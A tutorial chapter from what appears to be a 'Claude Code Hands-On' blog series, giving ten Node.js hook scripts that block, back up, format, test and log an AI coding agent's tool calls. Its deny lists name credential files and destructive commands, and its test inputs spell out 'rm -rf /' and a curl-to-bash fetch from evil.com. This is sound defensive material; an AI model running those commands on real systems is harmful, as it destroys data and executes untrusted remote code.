Claude Code Hands-On (7): Ten Hooks I Actually Use, with the Code

Chapter 5 provided a conceptual tour of hooks. This chapter is the field guide. From the 100-script reference repo, ten scripts earn their place in every serious project I run. I’ll walk through these ten with code.

All examples assume Node 18+, save scripts to ./hooks/, mark them chmod +x, and wire them in .claude/settings.json like:

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{
  "hooks": {
    "PreToolUse": [
      { "matcher": "Read|Grep", "hooks": [{ "type": "command", "command": "node ./hooks/block-env-read.js" }] }
    ]
  }
}

Before we dive in, here’s the hook lifecycle to make the following code clear:

PreToolUse fires before Claude executes a tool. Exit code 0 means “allow.” Exit code 2 means “block this call.” Anything you write to stderr gets fed back to the model as an explanation.
PostToolUse fires after the tool returns. Exit code 1 surfaces errors to the model. Exit code 2 has no special meaning here — the action already happened.
stdin carries a JSON payload with tool_name and tool_input. Every hook reads from stdin.

The common preamble for all hooks:

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#!/usr/bin/env node
const chunks = [];
process.stdin.on('data', c => chunks.push(c));
process.stdin.on('end', () => {
  const t = JSON.parse(Buffer.concat(chunks).toString());
  // t.tool_name  → "Read", "Bash", "Edit", etc.
  // t.tool_input → the arguments Claude passed to the tool
  main(t);
});

I will skip that preamble in some listings below for brevity, but every real hook starts with it.

Hook I/O contract: stdin payload in, exit code plus stderr out

Each hook is a script that reads a JSON payload from stdin and signals back with an exit code (verdict) and stderr (explanation). The matcher in settings.json determines which hooks handle each tool call.

Claude Code Hands-On (7): Ten Hooks I Actually Use, with the Code — Chapter overview

block-env-read — protect secrets#

The single highest-ROI hook. Stops Read and Grep from touching .env, id_rsa, credentials.json.

The complete code#

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#!/usr/bin/env node
// hooks/block-env-read.js
// PreToolUse on Read|Grep|Edit|Write|MultiEdit

const chunks = [];
process.stdin.on('data', c => chunks.push(c));
process.stdin.on('end', () => {
  const t = JSON.parse(Buffer.concat(chunks).toString());
  const p = t.tool_input?.file_path
          || t.tool_input?.path
          || t.tool_input?.pattern
          || "";

  const sensitive = [
    '.env',
    '.env.local',
    '.env.production',
    'credentials.json',
    'secrets.yaml',
    'secrets.yml',
    'id_rsa',
    'id_ed25519',
    '.aws/credentials',
    '.gcloud/credentials.json',
    'service-account.json',
    '.npmrc',           // can contain tokens
    '.pypirc',          // can contain tokens
  ];

  if (sensitive.some(s => p.includes(s))) {
    console.error(`Blocked: "${p}" matches sensitive pattern. If you need values from this file, ask the user to provide them directly.`);
    process.exit(2);
  }
  process.exit(0);
});

The settings.json wiring#

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{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read|Grep|Edit|Write|MultiEdit",
        "hooks": [
          { "type": "command", "command": "node ./hooks/block-env-read.js" }
        ]
      }
    ]
  }
}

Testing it#

Always test a hook before wiring it in. Pipe a fake payload through stdin:

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# Should block (exit 2):
echo '{"tool_name":"Read","tool_input":{"file_path":"./config/.env.local"}}' | node ./hooks/block-env-read.js
echo "Exit code: $?"
# Expected output:
# Blocked: "./config/.env.local" matches sensitive pattern. ...
# Exit code: 2

# Should allow (exit 0):
echo '{"tool_name":"Read","tool_input":{"file_path":"./src/app.ts"}}' | node ./hooks/block-env-read.js
echo "Exit code: $?"
# Expected output:
# Exit code: 0

What Claude sees when it fires#

When this hook blocks a call, Claude receives the stderr text as feedback. A real session looks like this:

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Claude: I'll read the environment configuration...
[Hook blocked Read on .env.local]
Claude: I can't read .env.local directly as it contains sensitive data.
        Could you share the specific variable names you'd like me to use?
        For example: DATABASE_URL, API_KEY, etc.

The model recovers gracefully because the stderr message tells it what to do instead.

bash-blacklist — stop `rm -rf /`#

Claude Code Hands-On (7): Ten Hooks I Actually Use, with the Code — Chapter summary

The most common foot-gun. PreToolUse on Bash.

The complete code#

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#!/usr/bin/env node
// hooks/bash-blacklist.js
// PreToolUse on Bash

const chunks = [];
process.stdin.on('data', c => chunks.push(c));
process.stdin.on('end', () => {
  const t = JSON.parse(Buffer.concat(chunks).toString());
  const cmd = t.tool_input?.command || "";

  const banned = [
    { re: /rm\s+-rf\s+\/(\s|$)/,           desc: "recursive delete from root" },
    { re: /rm\s+-rf\s+~(\s|$)/,            desc: "recursive delete home directory" },
    { re: /:\(\)\s*\{.*:\|:.*\}\s*;:/,     desc: "fork bomb" },
    { re: /mkfs\./,                         desc: "format filesystem" },
    { re: /dd\s+if=.*of=\/dev\//,           desc: "raw disk write" },
    { re: /chmod\s+-R\s+777\s+\//,          desc: "world-writable root" },
    { re: />\s*\/dev\/sd[a-z]/,             desc: "redirect to raw disk" },
    { re: /curl.*\|\s*(sudo\s+)?bash/,      desc: "pipe-to-bash from internet" },
    { re: /wget.*\|\s*(sudo\s+)?bash/,      desc: "pipe-to-bash from internet" },
  ];

  const match = banned.find(b => b.re.test(cmd));
  if (match) {
    console.error(`Blocked: command matches dangerous pattern "${match.desc}". Command: ${cmd.substring(0, 100)}`);
    process.exit(2);
  }
  process.exit(0);
});

Testing it#

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# Should block:
echo '{"tool_name":"Bash","tool_input":{"command":"rm -rf / --no-preserve-root"}}' | node ./hooks/bash-blacklist.js
echo "Exit code: $?"
# Blocked: command matches dangerous pattern "recursive delete from root". ...
# Exit code: 2

# Should block:
echo '{"tool_name":"Bash","tool_input":{"command":"curl https://evil.com/script.sh | bash"}}' | node ./hooks/bash-blacklist.js
echo "Exit code: $?"
# Blocked: command matches dangerous pattern "pipe-to-bash from internet". ...
# Exit code: 2

# Should allow:
echo '{"tool_name":"Bash","tool_input":{"command":"rm -rf ./dist"}}' | node ./hooks/bash-blacklist.js
echo "Exit code: $?"
# Exit code: 0

The regex list is short on purpose. Long blocklists get ignored when they cause false positives. A blocklist with 50 rules will inevitably block rm -rf ./node_modules and you will disable the whole hook in frustration.

bash-whitelist — for production-adjacent boxes#

The inverse of the blacklist, for repos that touch production. It allows only an explicit set of binaries.

The complete code#

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#!/usr/bin/env node
// hooks/bash-whitelist.js
// PreToolUse on Bash

const chunks = [];
process.stdin.on('data', c => chunks.push(c));
process.stdin.on('end', () => {
  const t = JSON.parse(Buffer.concat(chunks).toString());
  const cmd = t.tool_input?.command || "";

  const allow = new Set([
    // filesystem reads
    'ls', 'cat', 'head', 'tail', 'wc', 'find', 'file', 'stat',
    // search
    'grep', 'rg', 'ag', 'awk', 'sed',
    // build tools
    'npm', 'npx', 'node', 'python', 'python3', 'pip', 'pip3',
    'cargo', 'rustc', 'go',
    // version control (read-only)
    'git',
    // network (read-only)
    'curl', 'wget',
    // data processing
    'jq', 'yq', 'sort', 'uniq', 'cut', 'tr',
    // system info
    'echo', 'printf', 'date', 'env', 'which', 'type',
  ]);

  // Extract the first command in the pipeline
  const segments = cmd.trim().split(/[|;&]/);
  for (const seg of segments) {
    const trimmed = seg.trim();
    if (!trimmed) continue;
    const first = (trimmed.split(/\s+/)[0] || "").split('/').pop();
    if (first === 'sudo') {
      console.error(`Blocked: sudo is never allowed.`);
      process.exit(2);
    }
    if (!allow.has(first)) {
      console.error(`Blocked: "${first}" is not on the allowlist. Allowed: ${[...allow].sort().join(', ')}`);
      process.exit(2);
    }
  }
  process.exit(0);
});

Why whitelist over blacklist#

Whitelists succeed where blocklists fail: you can’t accidentally allow something new. New binaries are blocked by default. The tradeoff is maintenance—you need to add every legitimate tool.

I use the blacklist on dev machines and the whitelist on anything production-adjacent.

Testing it#

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# Should allow:
echo '{"tool_name":"Bash","tool_input":{"command":"git status && npm test"}}' | node ./hooks/bash-whitelist.js
echo "Exit code: $?"
# Exit code: 0

# Should block:
echo '{"tool_name":"Bash","tool_input":{"command":"docker exec -it db psql"}}' | node ./hooks/bash-whitelist.js
echo "Exit code: $?"
# Blocked: "docker" is not on the allowlist. ...
# Exit code: 2

# Should block (sudo):
echo '{"tool_name":"Bash","tool_input":{"command":"sudo rm -rf /tmp/test"}}' | node ./hooks/bash-whitelist.js
echo "Exit code: $?"
# Blocked: sudo is never allowed.
# Exit code: 2

block-git-push — no surprise pushes#

I have never wanted Claude to push without asking. PreToolUse on Bash.

The complete code#

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#!/usr/bin/env node
// hooks/block-git-push.js
// PreToolUse on Bash

const chunks = [];
process.stdin.on('data', c => chunks.push(c));
process.stdin.on('end', () => {
  const t = JSON.parse(Buffer.concat(chunks).toString());
  const cmd = t.tool_input?.command || "";

  // Block any form of git push
  const pushPatterns = [
    /\bgit\s+push\b/,
    /\bgit\s+.*--force\b/,
    /\bgit\s+push-all\b/,
  ];

  if (pushPatterns.some(re => re.test(cmd))) {
    console.error(
      "Blocked: git push must be human-initiated. " +
      "Please ask the user to run the push command themselves."
    );
    process.exit(2);
  }

  // Also block force-operations on protected branches
  const protectedBranchOps = [
    /\bgit\s+branch\s+-[dD]\s+(main|master|production|staging)\b/,
    /\bgit\s+reset\s+--hard\b/,
    /\bgit\s+checkout\s+--\s+\./,
    /\bgit\s+clean\s+-f/,
  ];

  if (protectedBranchOps.some(re => re.test(cmd))) {
    console.error(
      "Blocked: destructive git operation on protected branch. " +
      "Ask the user to confirm and run this manually."
    );
    process.exit(2);
  }

  process.exit(0);
});

Testing it#

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# Should block:
echo '{"tool_name":"Bash","tool_input":{"command":"git push origin main"}}' | node ./hooks/block-git-push.js
echo "Exit code: $?"
# Blocked: git push must be human-initiated. ...
# Exit code: 2

# Should block:
echo '{"tool_name":"Bash","tool_input":{"command":"git push --force origin feat/x"}}' | node ./hooks/block-git-push.js
echo "Exit code: $?"
# Blocked: git push must be human-initiated. ...
# Exit code: 2

# Should block:
echo '{"tool_name":"Bash","tool_input":{"command":"git reset --hard HEAD~3"}}' | node ./hooks/block-git-push.js
echo "Exit code: $?"
# Blocked: destructive git operation on protected branch. ...
# Exit code: 2

# Should allow:
echo '{"tool_name":"Bash","tool_input":{"command":"git commit -m \"fix: typo\""}}' | node ./hooks/block-git-push.js
echo "Exit code: $?"
# Exit code: 0

The cost of being wrong is so much worse than the friction of typing git push myself.

format-on-write — Prettier as a PostToolUse#

PostToolUse on Write|Edit|MultiEdit. This is hygiene, not policy.

The complete code#

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#!/usr/bin/env node
// hooks/format-on-write.js
// PostToolUse on Write|Edit|MultiEdit

const { execSync } = require('child_process');
const path = require('path');

const chunks = [];
process.stdin.on('data', c => chunks.push(c));
process.stdin.on('end', () => {
  const t = JSON.parse(Buffer.concat(chunks).toString());
  const filePath = t.tool_input?.file_path || t.tool_input?.path || "";

  if (!filePath) process.exit(0);

  // Only format files Prettier knows about
  const formattable = /\.(ts|tsx|js|jsx|json|md|mdx|css|scss|less|html|yaml|yml|graphql)$/;
  if (!formattable.test(filePath)) {
    process.exit(0);
  }

  try {
    // Use the project-local prettier if available, fall back to npx
    const prettierBin = (() => {
      try {
        execSync('npx prettier --version', { stdio: 'pipe' });
        return 'npx prettier';
      } catch {
        return 'prettier';
      }
    })();

    execSync(`${prettierBin} --write "${filePath}"`, {
      stdio: 'pipe',
      timeout: 10000,    // 10 second timeout
    });
    console.error(`Formatted: ${path.basename(filePath)}`);
  } catch (e) {
    // Don't fail the whole operation if Prettier chokes
    console.error(`Warning: Prettier failed on ${filePath}: ${e.message}`);
  }
  process.exit(0);
});

Why exit 0, not exit 1#

Exit code semantics differ between PreToolUse and PostToolUse

The same exit code means different things depending on the lifecycle phase. Exit 2 only blocks in PreToolUse. In PostToolUse, the side-effect has already occurred.

PostToolUse runs after the edit. Exit code 2 does not roll anything back — the side-effect already happened. Using exit 1 would surface the error to the model, which might then try to “fix” a formatting issue by re-editing the file, creating a loop. For formatting, just log the warning and move on.

Real terminal output#

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Claude: I'll update the component...
[Edit applied to src/components/Header.tsx]
[PostToolUse hook] Formatted: Header.tsx
Claude: Done. The component now accepts a `subtitle` prop.

The format happens silently. Claude does not even mention it.

test-on-edit — fail fast#

PostToolUse on Edit|MultiEdit for source files. This hook taught Claude to write better code over time on my repos.

The complete code#

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#!/usr/bin/env node
// hooks/test-on-edit.js
// PostToolUse on Edit|MultiEdit

const { execSync } = require('child_process');
const path = require('path');
const fs = require('fs');

const chunks = [];
process.stdin.on('data', c => chunks.push(c));
process.stdin.on('end', () => {
  const t = JSON.parse(Buffer.concat(chunks).toString());
  const filePath = t.tool_input?.file_path || "";

  // Only trigger for source files, not tests or config
  if (!/\/(src|lib|app|packages)\/.*\.(ts|tsx|js|jsx)$/.test(filePath)) {
    process.exit(0);
  }

  // Skip if no test script exists
  const pkgPath = path.resolve('package.json');
  if (!fs.existsSync(pkgPath)) process.exit(0);

  const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
  const hasRelated = pkg.scripts?.['test:related'];
  const hasTest = pkg.scripts?.test;

  try {
    if (hasRelated) {
      // Run only tests related to the changed file
      execSync(`npm run -s test:related -- "${filePath}"`, {
        stdio: 'inherit',
        timeout: 60000,
      });
    } else if (hasTest) {
      // Fall back to full test suite
      execSync('npm run -s test', {
        stdio: 'inherit',
        timeout: 120000,
      });
    }
  } catch (e) {
    console.error(`Tests failed after editing ${path.basename(filePath)}.`);
    console.error("Review the test output above and fix the issue.");
    process.exit(1);   // 1 = surface error to the model
  }
  process.exit(0);
});

Why exit 1, not exit 2#

Exit code 1 in PostToolUse surfaces the failure to the model. The model sees the test output and tries to fix the code, creating a feedback loop:

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Claude: I'll update the validation logic...
[Edit applied to src/validators/email.ts]
[Running test:related for email.ts...]

  FAIL  tests/validators/email.test.ts
    ✕ rejects emails without @ symbol (3ms)
    Expected: false
    Received: true

Tests failed after editing email.ts.
Review the test output above and fix the issue.

Claude: The test shows my regex change broke the @ validation.
        Let me fix the pattern...
[Edit applied to src/validators/email.ts]
[Running test:related for email.ts...]

  PASS  tests/validators/email.test.ts
    ✓ rejects emails without @ symbol (2ms)
    ✓ accepts valid emails (1ms)

Claude: Fixed. The regex now correctly requires an @ symbol.

Over time, across many sessions, this hook trains the model to write code that matches your test expectations on the first try. It is the most valuable hook in this entire list.

backup-before-edit — the safety net#

PreToolUse on Edit|Write|MultiEdit. Cheap insurance.

The complete code#

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#!/usr/bin/env node
// hooks/backup-before-edit.js
// PreToolUse on Edit|Write|MultiEdit

const fs = require('fs');
const path = require('path');

const chunks = [];
process.stdin.on('data', c => chunks.push(c));
process.stdin.on('end', () => {
  const t = JSON.parse(Buffer.concat(chunks).toString());
  const filePath = t.tool_input?.file_path || t.tool_input?.path || "";

  if (!filePath) process.exit(0);

  if (fs.existsSync(filePath)) {
    const backupDir = '/tmp/cc-backups';
    if (!fs.existsSync(backupDir)) {
      fs.mkdirSync(backupDir, { recursive: true });
    }

    const timestamp = Date.now();
    const safeName = filePath.replace(/\//g, '_');
    const backupPath = `${backupDir}/${timestamp}-${safeName}`;

    try {
      fs.copyFileSync(filePath, backupPath);

      // Keep a manifest for easy recovery
      const manifest = `${backupDir}/manifest.log`;
      const entry = `${new Date().toISOString()} | ${filePath} -> ${backupPath}\n`;
      fs.appendFileSync(manifest, entry);
    } catch (e) {
      // If backup fails, still allow the edit — don't block work for insurance
      console.error(`Warning: could not back up ${filePath}: ${e.message}`);
    }
  }
  process.exit(0);   // Always allow — this is a safety net, not a gate
});

Recovering a file#

When you need to recover:

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# See what was backed up
cat /tmp/cc-backups/manifest.log
# 2026-04-24T10:23:45.123Z | ./src/config.ts -> /tmp/cc-backups/1714122225123-_src_config.ts
# 2026-04-24T10:24:01.456Z | ./src/config.ts -> /tmp/cc-backups/1714122241456-_src_config.ts

# Compare current with backup
diff ./src/config.ts /tmp/cc-backups/1714122225123-_src_config.ts

# Restore
cp /tmp/cc-backups/1714122225123-_src_config.ts ./src/config.ts

I have recovered files from /tmp exactly twice, both times worth a year of cron job pay.

log-tool-calls — observability#

PostToolUse on * (all tools).

The complete code#

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#!/usr/bin/env node
// hooks/log-tool-calls.js
// PostToolUse on * (all tools)

const fs = require('fs');
const path = require('path');

const chunks = [];
process.stdin.on('data', c => chunks.push(c));
process.stdin.on('end', () => {
  const t = JSON.parse(Buffer.concat(chunks).toString());

  const logDir = '.claude';
  if (!fs.existsSync(logDir)) {
    fs.mkdirSync(logDir, { recursive: true });
  }

  const logFile = path.join(logDir, 'tool-calls.jsonl');

  // Build a compact log entry
  const entry = {
    ts: new Date().toISOString(),
    tool: t.tool_name,
    input: t.tool_input,
  };

  // For Bash, also capture the command for easy grepping
  if (t.tool_name === 'Bash') {
    entry.cmd = (t.tool_input?.command || "").substring(0, 500);
  }

  // For file operations, capture the path
  if (t.tool_input?.file_path) {
    entry.file = t.tool_input.file_path;
  }

  const line = JSON.stringify(entry) + "\n";
  fs.appendFileSync(logFile, line);

  process.exit(0);
});

Querying the log#

The JSONL format makes this easy:

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# What files did Claude edit today?
cat .claude/tool-calls.jsonl | jq -r 'select(.tool == "Edit") | .file' | sort -u

# What bash commands were run?
cat .claude/tool-calls.jsonl | jq -r 'select(.tool == "Bash") | .cmd'

# How many tool calls per type?
cat .claude/tool-calls.jsonl | jq -r '.tool' | sort | uniq -c | sort -rn
#   42 Read
#   28 Edit
#   15 Bash
#    8 Grep
#    3 Write

# What happened in the last 10 minutes?
cat .claude/tool-calls.jsonl | jq -r 'select(.ts > "2026-04-24T10:15") | "\(.ts) \(.tool) \(.file // .cmd // "")"'

You won’t look at this file every day, but when you do, you’ll be glad it’s there.

PreToolUse on Edit|MultiEdit. Forces the model to read a file before editing it.

read-before-write tracks which files have been seen and how recently

The hook keeps a small seen.json map of when each file was last Read. Edits to UNSEEN or STALE files are blocked with a stderr message that tells Claude exactly how to recover.

The complete code#

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#!/usr/bin/env node
// hooks/read-before-write.js
// PreToolUse on Edit|MultiEdit
// Also needs a companion entry on Read to track what has been seen.

const fs = require('fs');
const path = require('path');

const chunks = [];
process.stdin.on('data', c => chunks.push(c));
process.stdin.on('end', () => {
  const t = JSON.parse(Buffer.concat(chunks).toString());
  const filePath = t.tool_input?.file_path || t.tool_input?.path || "";
  const seenFile = path.join('.claude', 'seen.json');

  // Load the seen map
  let seen = {};
  try {
    if (fs.existsSync(seenFile)) {
      seen = JSON.parse(fs.readFileSync(seenFile, 'utf8'));
    }
  } catch {
    seen = {};
  }

  // If this is a Read call, record it and allow
  if (t.tool_name === 'Read') {
    seen[filePath] = Date.now();
    const dir = path.dirname(seenFile);
    if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
    fs.writeFileSync(seenFile, JSON.stringify(seen, null, 2));
    process.exit(0);
  }

  // For Edit/MultiEdit, check if the file was read recently (within 30 minutes)
  const lastSeen = seen[filePath];
  const thirtyMinutes = 30 * 60 * 1000;

  if (!lastSeen) {
    console.error(
      `Blocked: "${filePath}" has not been Read in this session. ` +
      `Please read the file first to understand its current state before editing.`
    );
    process.exit(2);
  }

  if (Date.now() - lastSeen > thirtyMinutes) {
    console.error(
      `Blocked: "${filePath}" was last Read ${Math.round((Date.now() - lastSeen) / 60000)} minutes ago. ` +
      `Please re-read the file to verify its current state.`
    );
    process.exit(2);
  }

  process.exit(0);
});

The settings.json wiring (two entries)#

This hook needs to be wired for both Read (to track) and Edit/MultiEdit (to enforce):

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{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read",
        "hooks": [{ "type": "command", "command": "node ./hooks/read-before-write.js" }]
      },
      {
        "matcher": "Edit|MultiEdit",
        "hooks": [{ "type": "command", "command": "node ./hooks/read-before-write.js" }]
      }
    ]
  }
}

What it catches#

This hook catches the subtle bug where the model edits based on its training data prior, not the file’s current state. Without this hook, Claude might “fix” a function it remembers from training, not the function that actually exists in your repo right now.

work-hours-only — humane boundaries#

PreToolUse on Bash.

The complete code#

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#!/usr/bin/env node
// hooks/work-hours-only.js
// PreToolUse on Bash

const chunks = [];
process.stdin.on('data', c => chunks.push(c));
process.stdin.on('end', () => {
  const t = JSON.parse(Buffer.concat(chunks).toString());
  const h = new Date().getHours();
  const day = new Date().getDay(); // 0 = Sunday, 6 = Saturday

  // Weekday: 9am - 10pm
  // Weekend: blocked entirely
  const isWeekend = day === 0 || day === 6;
  const isOutsideHours = h < 9 || h >= 22;

  if (isWeekend) {
    console.error("Blocked: no automated work on weekends. Rest.");
    process.exit(2);
  }

  if (isOutsideHours) {
    console.error(`Blocked: outside work hours (current hour: ${h}). Allowed: 9:00-22:00 weekdays.`);
    process.exit(2);
  }

  process.exit(0);
});

When this actually matters#

I run this on the box that handles after-hours pings. If a bot tries to do something destructive at 2 AM, it’s almost certainly a misfire. The hook isn’t about enforcing work-life balance for Claude—it’s about catching runaway automation that shouldn’t be running at all.

Composing hooks together#

The ten hooks above are not meant to run in isolation. They compose. Here is how they layer in a real project.

The complete settings.json with all ten hooks#

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{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read|Grep",
        "hooks": [
          { "type": "command", "command": "node ./hooks/block-env-read.js" },
          { "type": "command", "command": "node ./hooks/read-before-write.js" }
        ]
      },
      {
        "matcher": "Edit|Write|MultiEdit",
        "hooks": [
          { "type": "command", "command": "node ./hooks/block-env-read.js" },
          { "type": "command", "command": "node ./hooks/backup-before-edit.js" },
          { "type": "command", "command": "node ./hooks/read-before-write.js" }
        ]
      },
      {
        "matcher": "Bash",
        "hooks": [
          { "type": "command", "command": "node ./hooks/bash-blacklist.js" },
          { "type": "command", "command": "node ./hooks/block-git-push.js" },
          { "type": "command", "command": "node ./hooks/work-hours-only.js" }
        ]
      }
    ],
    "PostToolUse": [
      {
        "matcher": "Edit|Write|MultiEdit",
        "hooks": [
          { "type": "command", "command": "node ./hooks/format-on-write.js" },
          { "type": "command", "command": "node ./hooks/test-on-edit.js" }
        ]
      },
      {
        "matcher": "*",
        "hooks": [
          { "type": "command", "command": "node ./hooks/log-tool-calls.js" }
        ]
      }
    ]
  }
}

Execution order#

A single Edit call fans out across six hooks: three PreToolUse gatekeepers, the tool itself, then three PostToolUse hygiene jobs. Any exit 2 in the Pre band aborts the chain.

When Claude calls Edit on a source file, this is the sequence:

block-env-read — is the file sensitive? If yes, block.
backup-before-edit — copy the current version to /tmp/cc-backups/.
read-before-write — was the file Read recently? If not, block.
(Claude performs the edit)
format-on-write — run Prettier on the result.
test-on-edit — run related tests. If they fail, surface the error.
log-tool-calls — append to the JSONL log.

Steps 1-3 are PreToolUse (any exit 2 blocks the edit). Steps 5-7 are PostToolUse (the edit already happened). This order means: safety first, then hygiene, then observability.

Common pitfalls when composing#

Problem: hooks run in series, and a slow hook blocks everything. If test-on-edit takes 60 seconds, every edit feels sluggish. Solution: set a timeout and fall back to async test runs for large suites.

Problem: one hook’s exit code kills the whole chain. In PreToolUse, if block-env-read exits 2, the remaining hooks (backup-before-edit, read-before-write) do not run. This is correct — a blocked call should not be backed up or tracked.

Problem: hooks can conflict. A format hook that changes a file can trigger the “file changed since last read” logic in read-before-write. Solution: the format hook runs in PostToolUse, which does not trigger PreToolUse hooks. The lifecycle prevents this conflict.

The starter kit#

If you want to set up all ten hooks in a new project, here is the directory structure:

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.claude/
  settings.json          # the wiring shown above
your-project/
  hooks/
    block-env-read.js
    bash-blacklist.js
    bash-whitelist.js     # swap with blacklist for prod repos
    block-git-push.js
    format-on-write.js
    test-on-edit.js
    backup-before-edit.js
    log-tool-calls.js
    read-before-write.js
    work-hours-only.js

Set them all executable:

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chmod +x hooks/*.js

Test them all at once:

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# Quick smoke test — should all exit 0 for a normal Read
for hook in hooks/*.js; do
  echo '{"tool_name":"Read","tool_input":{"file_path":"./src/index.ts"}}' | node "$hook"
  echo "$hook: exit $?"
done

Expected output:

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hooks/backup-before-edit.js: exit 0
hooks/bash-blacklist.js: exit 0
hooks/bash-whitelist.js: exit 0
hooks/block-env-read.js: exit 0
hooks/block-git-push.js: exit 0
hooks/format-on-write.js: exit 0
hooks/log-tool-calls.js: exit 0
hooks/read-before-write.js: exit 0
hooks/test-on-edit.js: exit 0
hooks/work-hours-only.js: exit 0

Debugging hooks#

When a hook misbehaves, here is the debugging sequence:

Four-step debugging workflow plus the top five hook mistakes

Replay the failing call against the hook in isolation, capture stderr, then escalate to claude --debug and the JSONL log. The table below it covers the five mistakes that cause 90% of broken hooks.

Step 1: test in isolation#

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echo '{"tool_name":"Edit","tool_input":{"file_path":"./src/app.ts"}}' | node ./hooks/your-hook.js
echo "Exit code: $?"

Step 2: check stderr output#

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echo '{"tool_name":"Bash","tool_input":{"command":"rm -rf /"}}' | node ./hooks/bash-blacklist.js 2>&1

The 2>&1 redirect lets you see both stdout and stderr.

Step 3: run Claude with debug logging#

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claude --debug

The debug output shows which hooks fired, what they returned, and which one provided the verdict.

Step 4: check the common mistakes#

Symptom	Cause	Fix
Hook blocks everything	Script throws an unhandled error, Node exits with code 1 or 2	Wrap the main logic in try-catch, exit 0 on unexpected errors
Hook never fires	Matcher does not match the tool name	Check spelling — it is `MultiEdit`, not `multi-edit`
Hook fires but does not block	Using exit code 1 instead of 2	Only exit code 2 blocks in PreToolUse
stdin is empty	Hook is not reading stdin asynchronously	Use the async preamble at the top of this article
JSON parse error	Multiple hooks piped together incorrectly	Each hook must read its own stdin independently

What ties them together#

Three rules I picked up the hard way:

PreToolUse for policy, PostToolUse for hygiene. Do not try to undo things in PostToolUse — the side-effect already happened.
Stderr is feedback, exit code is verdict. Exit 2 blocks (PreToolUse only). Anything in stderr gets fed back to Claude verbatim. Use both.
Hooks fail closed. A misbehaving hook will block all your tool calls. Test the script with echo '{"tool_name":"Read","tool_input":{"file_path":"/tmp/x"}}' | node hook.js before wiring it in.

Ten hooks do not sound like much. It is enough to make a YOLO-mode session feel responsible.

block-env-read — protect secrets#

The complete code#

The settings.json wiring#

Testing it#

What Claude sees when it fires#

bash-blacklist — stop rm -rf /#

The complete code#

Testing it#

bash-whitelist — for production-adjacent boxes#

The complete code#

Why whitelist over blacklist#

Testing it#

block-git-push — no surprise pushes#

The complete code#

Testing it#

format-on-write — Prettier as a PostToolUse#

The complete code#

Why exit 0, not exit 1#

Real terminal output#

test-on-edit — fail fast#

The complete code#

Why exit 1, not exit 2#

backup-before-edit — the safety net#

The complete code#

Recovering a file#

log-tool-calls — observability#

The complete code#

Querying the log#

read-before-write — no blind edits#

The complete code#

The settings.json wiring (two entries)#

What it catches#

work-hours-only — humane boundaries#

The complete code#

When this actually matters#

Composing hooks together#

The complete settings.json with all ten hooks#

Execution order#

Common pitfalls when composing#

The starter kit#

Debugging hooks#

Step 1: test in isolation#

Step 2: check stderr output#

Step 3: run Claude with debug logging#

Step 4: check the common mistakes#

What ties them together#

Claude Code Hands-On 10 parts

Liked this piece?

bash-blacklist — stop `rm -rf /`#